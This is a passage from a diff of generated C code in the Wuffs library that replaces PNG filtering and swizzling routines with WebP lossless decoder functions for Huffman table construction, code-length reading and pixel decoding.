uint32_t v_h = 0; ++ uint32_t v_children = 0; ++ uint16_t v_node = 0; ++ ++ v_base_offset = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[a_ht])); ++ v_symbol = 0u; ++ while (v_symbol < self->private_impl.f_ht_n_symbols) { ++ v_code_len = ((uint32_t)(((uint16_t)(self->private_data.f_code_lengths[v_symbol] & 15u)))); ++ if (v_code_len != 0u) { ++ v_histogram[v_code_len] += 1u; ++ v_n_used_symbols += 1u; ++ v_last_used_symbol = v_symbol; ++ } ++ v_symbol += 1u; ++ } ++ if (v_n_used_symbols < 1u) { ++ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code); ++ } else if (v_n_used_symbols == 1u) { ++ self->private_data.f_huffman_nodes[a_hg][v_base_offset] = ((uint16_t)((v_last_used_symbol | 32768u))); ++ return wuffs_base__make_status(NULL); + } +- v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); +- v_dst_bytes_per_row0 = (((uint64_t)(self->private_impl.f_frame_rect_x0)) * v_dst_bytes_per_pixel); +- v_dst_bytes_per_row1 = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * v_dst_bytes_per_pixel); +- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- if (v_dst_bytes_per_row1 < ((uint64_t)(v_tab.width))) { +- v_tab = wuffs_base__table_u8__subtable_ij(v_tab, +- 0u, +- 0u, +- v_dst_bytes_per_row1, +- ((uint64_t)(v_tab.height))); ++ v_subscription_weight = 16384u; ++ v_code_len = 1u; ++ while (true) { ++ v_curr_code = ((uint32_t)(((uint32_t)(v_curr_code + v_histogram[v_code_len])) << 1u)); ++ v_next_codes[(v_code_len + 1u)] = v_curr_code; ++ v_subscription_total += ((uint32_t)(v_subscription_weight * v_histogram[v_code_len])); ++ v_subscription_weight >>= 1u; ++ if (v_code_len >= 15u) { ++ break; ++ } ++ v_code_len += 1u; ++ } ++ if (v_subscription_total > 32768u) { ++ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code_over_subscribed); ++ } else if (v_subscription_total < 32768u) { ++ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code_under_subscribed); ++ } ++ self->private_data.f_huffman_nodes[a_hg][v_base_offset] = 0u; ++ v_symbol = 0u; ++ while (v_symbol < self->private_impl.f_ht_n_symbols) { ++ v_code_len = ((uint32_t)(((uint16_t)(self->private_data.f_code_lengths[v_symbol] & 15u)))); ++ if (v_code_len != 0u) { ++ v_code_bits = v_next_codes[v_code_len]; ++ v_next_codes[v_code_len] += 1u; ++ v_code_bits <<= (32u - v_code_len); ++ v_h = v_base_offset; ++ while (v_code_len > 0u) { ++ v_node = self->private_data.f_huffman_nodes[a_hg][v_h]; ++ if (v_node == 0u) { ++ v_children = ((uint32_t)(v_base_offset + ((uint32_t)(1u + ((uint32_t)(2u * v_n_branches)))))); ++ v_children = wuffs_base__u32__min(v_children, 6265u); ++ self->private_data.f_huffman_nodes[a_hg][v_h] = ((uint16_t)(v_children)); ++ self->private_data.f_huffman_nodes[a_hg][(v_children + 0u)] = 0u; ++ self->private_data.f_huffman_nodes[a_hg][(v_children + 1u)] = 0u; ++ v_h = (v_children + (v_code_bits >> 31u)); ++ v_n_branches += 1u; ++ } else { ++ v_children = ((uint32_t)(v_node)); ++ v_h = (wuffs_base__u32__min(v_children, 6265u) + (v_code_bits >> 31u)); ++ } ++ v_code_bits <<= 1u; ++ v_code_len -= 1u; ++ } ++ self->private_data.f_huffman_nodes[a_hg][v_h] = ((uint16_t)((v_symbol | 32768u))); ++ } ++ v_symbol += 1u; + } +- if (v_dst_bytes_per_row0 < ((uint64_t)(v_tab.width))) { +- v_tab = wuffs_base__table_u8__subtable_ij(v_tab, +- v_dst_bytes_per_row0, +- 0u, +- ((uint64_t)(v_tab.width)), +- ((uint64_t)(v_tab.height))); +- } else { +- v_tab = wuffs_base__table_u8__subtable_ij(v_tab, +- 0u, +- 0u, +- 0u, +- 0u); ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func webp.decoder.build_code_lengths ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__build_code_lengths( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_use_length = 0; ++ uint32_t v_length_n_bits = 0; ++ uint32_t v_length = 0; ++ uint16_t v_prev_code_length = 0; ++ uint32_t v_h = 0; ++ uint32_t v_s = 0; ++ uint32_t v_s_max = 0; ++ uint16_t v_node = 0; ++ uint32_t v_symbol = 0; ++ uint16_t v_repeat_value = 0; ++ uint32_t v_repeat_n_bits = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- v_y = self->private_impl.f_frame_rect_y0; +- while (v_y < self->private_impl.f_frame_rect_y1) { +- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_y); +- if (1u > ((uint64_t)(a_workbuf.len))) { +- return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); ++ ++ uint32_t coro_susp_point = self->private_impl.p_build_code_lengths; ++ if (coro_susp_point) { ++ v_length_n_bits = self->private_data.s_build_code_lengths.v_length_n_bits; ++ v_prev_code_length = self->private_data.s_build_code_lengths.v_prev_code_length; ++ v_s = self->private_data.s_build_code_lengths.v_s; ++ v_s_max = self->private_data.s_build_code_lengths.v_s_max; ++ v_node = self->private_data.s_build_code_lengths.v_node; ++ v_repeat_value = self->private_data.s_build_code_lengths.v_repeat_value; ++ v_repeat_n_bits = self->private_data.s_build_code_lengths.v_repeat_n_bits; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; + } +- v_filter = a_workbuf.ptr[0u]; +- a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, 1u); +- if (self->private_impl.f_pass_bytes_per_row > ((uint64_t)(a_workbuf.len))) { +- return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); ++ v_use_length = (self->private_impl.f_bits & 1u); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ self->private_impl.f_ht_code_lengths_remaining = self->private_impl.f_ht_n_symbols; ++ if (v_use_length != 0u) { ++ if (self->private_impl.f_n_bits < 3u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (self->private_impl.f_n_bits >= 3u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_length_n_bits = (((self->private_impl.f_bits & 7u) * 2u) + 2u); ++ self->private_impl.f_bits >>= 3u; ++ self->private_impl.f_n_bits -= 3u; ++ while (self->private_impl.f_n_bits < v_length_n_bits) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ if (self->private_impl.f_n_bits >= v_length_n_bits) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_length = ((self->private_impl.f_bits & ((((uint32_t)(1u)) << v_length_n_bits) - 1u)) + 2u); ++ self->private_impl.f_bits >>= v_length_n_bits; ++ self->private_impl.f_n_bits -= v_length_n_bits; ++ if (v_length > self->private_impl.f_ht_n_symbols) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_huffman_code); ++ goto exit; ++ } ++ self->private_impl.f_ht_code_lengths_remaining = v_length; + } +- v_curr_row = wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_pass_bytes_per_row); +- a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, self->private_impl.f_pass_bytes_per_row); +- if (v_filter == 0u) { +- } else if (v_filter == 1u) { +- wuffs_png__decoder__filter_1(self, v_curr_row); +- } else if (v_filter == 2u) { +- wuffs_png__decoder__filter_2(self, v_curr_row, v_prev_row); +- } else if (v_filter == 3u) { +- wuffs_png__decoder__filter_3(self, v_curr_row, v_prev_row); +- } else if (v_filter == 4u) { +- wuffs_png__decoder__filter_4(self, v_curr_row, v_prev_row); +- } else { +- return wuffs_base__make_status(wuffs_png__error__bad_filter); ++ v_prev_code_length = 8u; ++ while (v_s < self->private_impl.f_ht_n_symbols) { ++ if (self->private_impl.f_ht_code_lengths_remaining <= 0u) { ++ while (v_s < self->private_impl.f_ht_n_symbols) { ++ self->private_data.f_code_lengths[v_s] = 0u; ++ v_s += 1u; ++ } ++ break; ++ } ++ self->private_impl.f_ht_code_lengths_remaining -= 1u; ++ v_h = 0u; ++ while (true) { ++ v_node = self->private_data.f_code_lengths_huffman_nodes[v_h]; ++ if (v_node >= 32768u) { ++ break; ++ } else if (v_node > 35u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_huffman_code); ++ goto exit; ++ } ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; ++ } ++ v_h = (((uint32_t)(v_node)) + (self->private_impl.f_bits & 1u)); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ } ++ v_symbol = ((uint32_t)(((uint16_t)(v_node & 32767u)))); ++ if (v_symbol == 0u) { ++ self->private_data.f_code_lengths[v_s] = 0u; ++ v_s += 1u; ++ continue; ++ } else if (v_symbol < 16u) { ++ v_prev_code_length = ((uint16_t)(v_symbol)); ++ self->private_data.f_code_lengths[v_s] = v_prev_code_length; ++ v_s += 1u; ++ continue; ++ } else if (v_symbol == 16u) { ++ v_repeat_value = v_prev_code_length; ++ } else { ++ v_repeat_value = 0u; ++ } ++ v_repeat_n_bits = ((uint32_t)(WUFFS_WEBP__REPEAT_N_BITS[(v_symbol & 3u)])); ++ v_s_max = ((uint32_t)(((uint32_t)(WUFFS_WEBP__REPEAT_COUNTS[(v_symbol & 3u)])) + v_s)); ++ if (self->private_impl.f_n_bits < v_repeat_n_bits) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; ++ } ++ if (self->private_impl.f_n_bits >= v_repeat_n_bits) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_s_max += (self->private_impl.f_bits & ((((uint32_t)(1u)) << v_repeat_n_bits) - 1u)); ++ self->private_impl.f_bits >>= v_repeat_n_bits; ++ self->private_impl.f_n_bits -= v_repeat_n_bits; ++ if (v_s_max > self->private_impl.f_ht_n_symbols) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_huffman_code); ++ goto exit; ++ } ++ while (v_s < v_s_max) { ++ self->private_data.f_code_lengths[v_s] = v_repeat_value; ++ v_s += 1u; ++ } + } +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, v_curr_row); +- v_prev_row = v_curr_row; +- v_y += 1u; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_build_code_lengths = 0; ++ goto exit; + } +- return wuffs_base__make_status(NULL); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_build_code_lengths = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_build_code_lengths.v_length_n_bits = v_length_n_bits; ++ self->private_data.s_build_code_lengths.v_prev_code_length = v_prev_code_length; ++ self->private_data.s_build_code_lengths.v_s = v_s; ++ self->private_data.s_build_code_lengths.v_s_max = v_s_max; ++ self->private_data.s_build_code_lengths.v_node = v_node; ++ self->private_data.s_build_code_lengths.v_repeat_value = v_repeat_value; ++ self->private_data.s_build_code_lengths.v_repeat_n_bits = v_repeat_n_bits; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; + } + +-// -------- func png.decoder.filter_and_swizzle_tricky ++// -------- func webp.decoder.decode_pixels_slow + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__filter_and_swizzle_tricky( +- wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf) { +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint64_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_bytes_per_row1 = 0; +- wuffs_base__slice_u8 v_dst_palette = {0}; +- wuffs_base__table_u8 v_tab = {0}; +- uint64_t v_src_bytes_per_pixel = 0; ++wuffs_webp__decoder__decode_pixels_slow( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_dst, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_width, ++ uint32_t a_height, ++ wuffs_base__slice_u8 a_tile_data, ++ uint32_t a_tile_size_log2) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint64_t v_p = 0; ++ uint64_t v_p_max = 0; ++ uint32_t v_tile_size_log2 = 0; ++ uint32_t v_width_in_tiles = 0; + uint32_t v_x = 0; + uint32_t v_y = 0; +- uint64_t v_i = 0; +- wuffs_base__slice_u8 v_dst = {0}; +- uint8_t v_filter = 0; +- wuffs_base__slice_u8 v_s = {0}; +- wuffs_base__slice_u8 v_curr_row = {0}; +- wuffs_base__slice_u8 v_prev_row = {0}; +- uint8_t v_bits_unpacked[8] = {0}; +- uint8_t v_bits_packed = 0; +- uint8_t v_packs_remaining = 0; +- uint8_t v_multiplier = 0; +- uint8_t v_shift = 0; ++ uint32_t v_i = 0; ++ uint32_t v_hg = 0; ++ uint32_t v_h = 0; ++ uint16_t v_node = 0; ++ uint32_t v_pixel_g = 0; ++ uint32_t v_color = 0; ++ wuffs_base__slice_u8 v_dst_pixel = {0}; ++ uint32_t v_back_ref_len_n_bits = 0; ++ uint32_t v_back_ref_len_minus_1 = 0; ++ uint32_t v_back_ref_dist_n_bits = 0; ++ uint32_t v_back_ref_dist_sym = 0; ++ uint32_t v_back_ref_dist_premap_minus_1 = 0; ++ uint32_t v_back_ref_dist_minus_1 = 0; ++ uint32_t v_dm = 0; ++ uint32_t v_dx = 0; ++ uint32_t v_dy = 0; ++ uint64_t v_p_end = 0; ++ uint64_t v_dist4 = 0; ++ uint64_t v_q = 0; ++ wuffs_base__slice_u8 v_color_cache_pixels = {0}; ++ uint64_t v_color_cache_p = 0; ++ uint32_t v_color_cache_shift = 0; + +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); +- } +- v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); +- v_dst_bytes_per_row1 = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * v_dst_bytes_per_pixel); +- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- v_src_bytes_per_pixel = 1u; +- if (self->private_impl.f_depth >= 8u) { +- v_src_bytes_per_pixel = (((uint64_t)(WUFFS_PNG__NUM_CHANNELS[self->private_impl.f_color_type])) * ((uint64_t)((self->private_impl.f_depth >> 3u)))); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- if (self->private_impl.f_chunk_type_array[0u] == 73u) { +- v_y = ((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][5u])); +- } else { +- v_y = self->private_impl.f_frame_rect_y0; ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_pixels_slow; ++ if (coro_susp_point) { ++ v_p = self->private_data.s_decode_pixels_slow.v_p; ++ v_p_max = self->private_data.s_decode_pixels_slow.v_p_max; ++ v_tile_size_log2 = self->private_data.s_decode_pixels_slow.v_tile_size_log2; ++ v_width_in_tiles = self->private_data.s_decode_pixels_slow.v_width_in_tiles; ++ v_x = self->private_data.s_decode_pixels_slow.v_x; ++ v_y = self->private_data.s_decode_pixels_slow.v_y; ++ v_hg = self->private_data.s_decode_pixels_slow.v_hg; ++ v_node = self->private_data.s_decode_pixels_slow.v_node; ++ v_color = self->private_data.s_decode_pixels_slow.v_color; ++ v_back_ref_len_n_bits = self->private_data.s_decode_pixels_slow.v_back_ref_len_n_bits; ++ v_back_ref_len_minus_1 = self->private_data.s_decode_pixels_slow.v_back_ref_len_minus_1; ++ v_back_ref_dist_n_bits = self->private_data.s_decode_pixels_slow.v_back_ref_dist_n_bits; ++ v_back_ref_dist_premap_minus_1 = self->private_data.s_decode_pixels_slow.v_back_ref_dist_premap_minus_1; ++ v_color_cache_p = self->private_data.s_decode_pixels_slow.v_color_cache_p; + } +- while (v_y < self->private_impl.f_frame_rect_y1) { +- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_y); +- if (v_dst_bytes_per_row1 < ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row1); +- } +- if (1u > ((uint64_t)(a_workbuf.len))) { +- return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); +- } +- v_filter = a_workbuf.ptr[0u]; +- a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, 1u); +- if (self->private_impl.f_pass_bytes_per_row > ((uint64_t)(a_workbuf.len))) { +- return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); +- } +- v_curr_row = wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_pass_bytes_per_row); +- a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, self->private_impl.f_pass_bytes_per_row); +- if (v_filter == 0u) { +- } else if (v_filter == 1u) { +- wuffs_png__decoder__filter_1(self, v_curr_row); +- } else if (v_filter == 2u) { +- wuffs_png__decoder__filter_2(self, v_curr_row, v_prev_row); +- } else if (v_filter == 3u) { +- wuffs_png__decoder__filter_3(self, v_curr_row, v_prev_row); +- } else if (v_filter == 4u) { +- wuffs_png__decoder__filter_4(self, v_curr_row, v_prev_row); +- } else { +- return wuffs_base__make_status(wuffs_png__error__bad_filter); ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ v_p_max = ((uint64_t)((4u * a_width * a_height))); ++ if (((uint64_t)(a_dst.len)) < v_p_max) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_dst_buffer); ++ goto exit; + } +- v_s = v_curr_row; +- if (self->private_impl.f_chunk_type_array[0u] == 73u) { +- v_x = ((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][2u])); ++ if (a_tile_size_log2 != 0u) { ++ v_tile_size_log2 = a_tile_size_log2; ++ v_width_in_tiles = ((a_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2); + } else { +- v_x = self->private_impl.f_frame_rect_x0; ++ v_tile_size_log2 = 31u; ++ v_width_in_tiles = 1u; + } +- if (self->private_impl.f_depth == 8u) { +- while (v_x < self->private_impl.f_frame_rect_x1) { +- v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); +- if (v_i <= ((uint64_t)(v_dst.len))) { +- if (self->private_impl.f_color_type == 4u) { +- if (2u <= ((uint64_t)(v_s.len))) { +- v_bits_unpacked[0u] = v_s.ptr[0u]; +- v_bits_unpacked[1u] = v_s.ptr[0u]; +- v_bits_unpacked[2u] = v_s.ptr[0u]; +- v_bits_unpacked[3u] = v_s.ptr[1u]; +- v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); +- } +- } else if (((uint32_t)(self->private_impl.f_remap_transparency)) != 0u) { +- if (self->private_impl.f_color_type == 0u) { +- if (1u <= ((uint64_t)(v_s.len))) { +- v_bits_unpacked[0u] = v_s.ptr[0u]; +- v_bits_unpacked[1u] = v_s.ptr[0u]; +- v_bits_unpacked[2u] = v_s.ptr[0u]; +- v_bits_unpacked[3u] = 255u; +- v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); +- if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | +- (((uint32_t)(v_bits_unpacked[1u])) << 8u) | +- (((uint32_t)(v_bits_unpacked[2u])) << 16u) | +- (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { +- v_bits_unpacked[0u] = 0u; +- v_bits_unpacked[1u] = 0u; +- v_bits_unpacked[2u] = 0u; +- v_bits_unpacked[3u] = 0u; +- } +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); ++ while (v_p < v_p_max) { ++ v_i = ((uint32_t)(((uint32_t)(((uint32_t)(((uint32_t)((v_y >> v_tile_size_log2) * v_width_in_tiles)) + (v_x >> v_tile_size_log2))) * 4u)) + 1u)); ++ if (((uint64_t)(v_i)) < ((uint64_t)(a_tile_data.len))) { ++ v_hg = ((uint32_t)(a_tile_data.ptr[((uint64_t)(v_i))])); ++ } ++ v_h = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[0u])); ++ while (true) { ++ v_node = self->private_data.f_huffman_nodes[v_hg][v_h]; ++ if (v_node >= 32768u) { ++ break; ++ } else if (v_node > 6265u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_huffman_code); ++ goto exit; ++ } ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; ++ } ++ v_h = (((uint32_t)(v_node)) + (self->private_impl.f_bits & 1u)); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ } ++ v_pixel_g = ((uint32_t)(((uint16_t)(v_node & 32767u)))); ++ if (v_pixel_g < 256u) { ++ v_color = (v_pixel_g << 8u); ++ v_h = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[1u])); ++ while (true) { ++ v_node = self->private_data.f_huffman_nodes[v_hg][v_h]; ++ if (v_node >= 32768u) { ++ break; ++ } ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- } else { +- if (3u <= ((uint64_t)(v_s.len))) { +- v_bits_unpacked[0u] = v_s.ptr[2u]; +- v_bits_unpacked[1u] = v_s.ptr[1u]; +- v_bits_unpacked[2u] = v_s.ptr[0u]; +- v_bits_unpacked[3u] = 255u; +- v_s = wuffs_base__slice_u8__subslice_i(v_s, 3u); +- if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | +- (((uint32_t)(v_bits_unpacked[1u])) << 8u) | +- (((uint32_t)(v_bits_unpacked[2u])) << 16u) | +- (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { +- v_bits_unpacked[0u] = 0u; +- v_bits_unpacked[1u] = 0u; +- v_bits_unpacked[2u] = 0u; +- v_bits_unpacked[3u] = 0u; +- } +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; ++ } ++ v_h = ((((uint32_t)(v_node)) & 4095u) + (self->private_impl.f_bits & 1u)); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ } ++ v_color |= (((uint32_t)(((uint16_t)(v_node & 255u)))) << 16u); ++ v_h = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[2u])); ++ while (true) { ++ v_node = self->private_data.f_huffman_nodes[v_hg][v_h]; ++ if (v_node >= 32768u) { ++ break; ++ } ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; + } +- } else if (v_src_bytes_per_pixel <= ((uint64_t)(v_s.len))) { +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__slice_u8__subslice_j(v_s, v_src_bytes_per_pixel)); +- v_s = wuffs_base__slice_u8__subslice_i(v_s, v_src_bytes_per_pixel); ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; + } ++ v_h = ((((uint32_t)(v_node)) & 4095u) + (self->private_impl.f_bits & 1u)); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; + } +- v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); +- } +- } else if (self->private_impl.f_depth < 8u) { +- v_multiplier = 1u; +- if (self->private_impl.f_color_type == 0u) { +- v_multiplier = WUFFS_PNG__LOW_BIT_DEPTH_MULTIPLIERS[self->private_impl.f_depth]; +- } +- v_shift = ((8u - self->private_impl.f_depth) & 7u); +- v_packs_remaining = 0u; +- while (v_x < self->private_impl.f_frame_rect_x1) { +- v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); +- if (v_i <= ((uint64_t)(v_dst.len))) { +- if ((v_packs_remaining == 0u) && (1u <= ((uint64_t)(v_s.len)))) { +- 